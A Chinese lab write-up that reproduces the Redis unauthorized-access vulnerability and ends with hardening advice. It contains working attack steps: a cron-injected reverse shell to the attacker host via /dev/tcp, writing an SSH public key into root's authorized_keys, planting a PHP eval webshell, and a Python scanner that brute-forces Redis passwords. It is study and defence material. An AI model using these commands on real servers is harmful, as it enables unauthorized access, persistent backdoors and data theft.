Redis未授权访问漏洞复现

逗鱼   ·   发表于 2021-04-21 13:56:14   ·   漏洞文章

Redis未授权访问漏洞


前言:

在复现这个漏洞前自己在网上查看了很多大佬写关于这个漏洞的复现文章,虽然学院已经有大佬写过这个漏洞复现文章了,但是写这篇漏洞复现文章就当做是给自己做个小笔记吧!!!

0X01 Redis介绍:

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

0X02 漏洞简介:

Redis因配置不当就会导致未授权访问。在默认情况下,Redis会绑定在 0.0.0.0:6379。如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 Redis 服务直接暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问到目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,还可以利用 Redis 自身提供的config 命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

该漏洞的产生条件有以下两点:

1、redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

2、没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。

0X03 漏洞危害:

1、攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;

2、攻击者可通过执行lua代码,或通过数据备份功能往磁盘写入后门文件;

3、最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登陆受害服务器。

0X04 漏洞环境搭建:

靶机:centos(192.168.43.200)
攻击机:kali(192.168.43.135)

1、靶机安装Redis
mkdir /usr/local/redis //创建安装redis的目录
cd /usr/local/redis/ //进入redis目录
wget http://download.redis.io/releases/redis-3.2.0.tar.gz //下载redis安装包
tar xzf redis-3.2.0.tar.gz //解压安装包
cd /usr/local/redis/redis-3.2.0 //进入redis安装包

make //编译安装(报错没有安装gcc)


yum -y install gcc automake autoconf libtool make //安装gcc


make && make install //编译安装


安装完成之后需要修改配置文件,配置允许可以远程访问。
vim redis.conf //修改默认配置文件
在bind 127.0.0.1前面加上#号进行注释,并将protected-mode设置为no

然后进入src目录,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了),并将redis-3.2.0目录下的redis.conf拷贝到/etc/目录下。
cd src
cp redis-cli /usr/bin
cp redis-server /usr/bin
cp redis.conf /etc/

redis-server /etc/redis.conf //启动redis-server

firewall-cmd —zone=public —add-port=6379/tcp —permanent //centos防火墙开放6379端口
firewall-cmd —reload //配置立即生效
(这里需要在防火墙开放相关端口或者关闭防火墙,否则测试不了。)

Kali攻击机也需要安装redis(这里就不累赘了)

0X05 漏洞复现:

nmap -p 6379 —script redis-info 192.168.43.200 //namp探测目标主机是否开启6379服务端口

在/usr/local/redis/redis-3.2.0/src目录下执行
./redis-cli -p 6379 -h 192.168.43.200 //未授权访问目标主机(-h指定服务器ip地址,-p可以指定对应端口)

使用info 可以查看redis版本信息、一些具体信息、服务器版本信息

获取默认的redis目录和rdb文件名
CONFIG GET dir
CONFIG GET dbfilename

未授权访问getshell
1、利用cron计划任务执行命令反弹shell
在redis是以root权限运行时,我们可以通过写crontab(计划任务)来执行命令反弹shell。
在kali开启监听,监听端口设置为9999,命令:nc -lvp 9999

利用未授权的添加计划任务,命令:
set x “\n * bash -i >& /dev/tcp/192.168.43.135/9999 0>&1\n”
config set dir /var/spool/cron/
config set dbfilename root
save

添加计划任务后kali监听返回shell

2、写ssh-keygen公钥然后使用私钥进行登陆
当redis服务是使用root账号启动,并且服务器开放了SSH服务,而且允许使用密钥登录时,我们可以通过未授权漏洞远程写入一个公钥,然后直接使用私钥登录远程服务器。
首先在kali本地生成一对密钥,命令:ssh-keygen -t rsa

cat /root/.ssh/id_rsa.pub //查看公钥

未授权写入公钥;命令:
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x “\n\n\n kali公钥 \n\n\n”
save

ssh -i id_rsa root@192.168.43.200 //使用私钥连接登录(id_rsa为私钥文件)

3、往web物理路径写webshell
前面两种getshell的方法都是需要以root权限来运行redis,那么遇到是以低权限运行redis的时候,如果这个时候发现服务器开着web服务,并且redis有web目录写权限时,就可以尝试往web路径写入webshell。
命令如下:
config set dir /var/www/html/
config set dbfilename dy.php
set x “<?php @eval($_REQUEST[dy]);?>”
save

访问dy.php

菜刀连接


Python脚本测试,使用python2环境;

  1. #! /usr/bin/env python
  2. # _*_ coding:utf-8 _*_
  3. import socket
  4. import sys
  5. PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
  6. def check(ip, port, timeout):
  7. try:
  8. socket.setdefaulttimeout(timeout)
  9. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10. s.connect((ip, int(port)))
  11. s.send("INFO\r\n")
  12. result = s.recv(1024)
  13. if "redis_version" in result:
  14. return u"存在Redis未授权访问漏洞"
  15. elif "Authentication" in result:
  16. for pass_ in PASSWORD_DIC:
  17. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  18. s.connect((ip, int(port)))
  19. s.send("AUTH %s\r\n" %(pass_))
  20. result = s.recv(1024)
  21. if '+OK' in result:
  22. return u"存在弱口令,密码:%s" % (pass_)
  23. except Exception, e:
  24. pass
  25. if __name__ == '__main__':
  26. ip=sys.argv[1]
  27. port=sys.argv[2]
  28. print check(ip,port, timeout=10)

命令:python Redis-scan.py +目标IP +端口

0X06 修复建议:

1、限制登录IP
在redis.conf文件中设置redis访问的ip白名单,如果项目允许的话最好设置为只允许本地访问。
2、添加密码
添加密码在redis.conf配置文件中找到requirepass并去掉前面的#, 然后在后面设置一个高强度的密码。因为redis验证密码的速度很快,给攻击者进行高速的爆破密码提供了一个良好的基础,所以设置一个高强度的密码不仅解决了未授权的问题还能防止密码爆破。
3、修改默认端口

路过的小伙伴

用户名金币积分时间理由
Track-聂风 20.00 0 2021-04-21 16:04:31 限时活动
Track-聂风 60.00 0 2021-04-21 16:04:19 同学加油

打赏我,让我更有动力~

0 条回复   |  直到 2021-4-21 | 1253 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.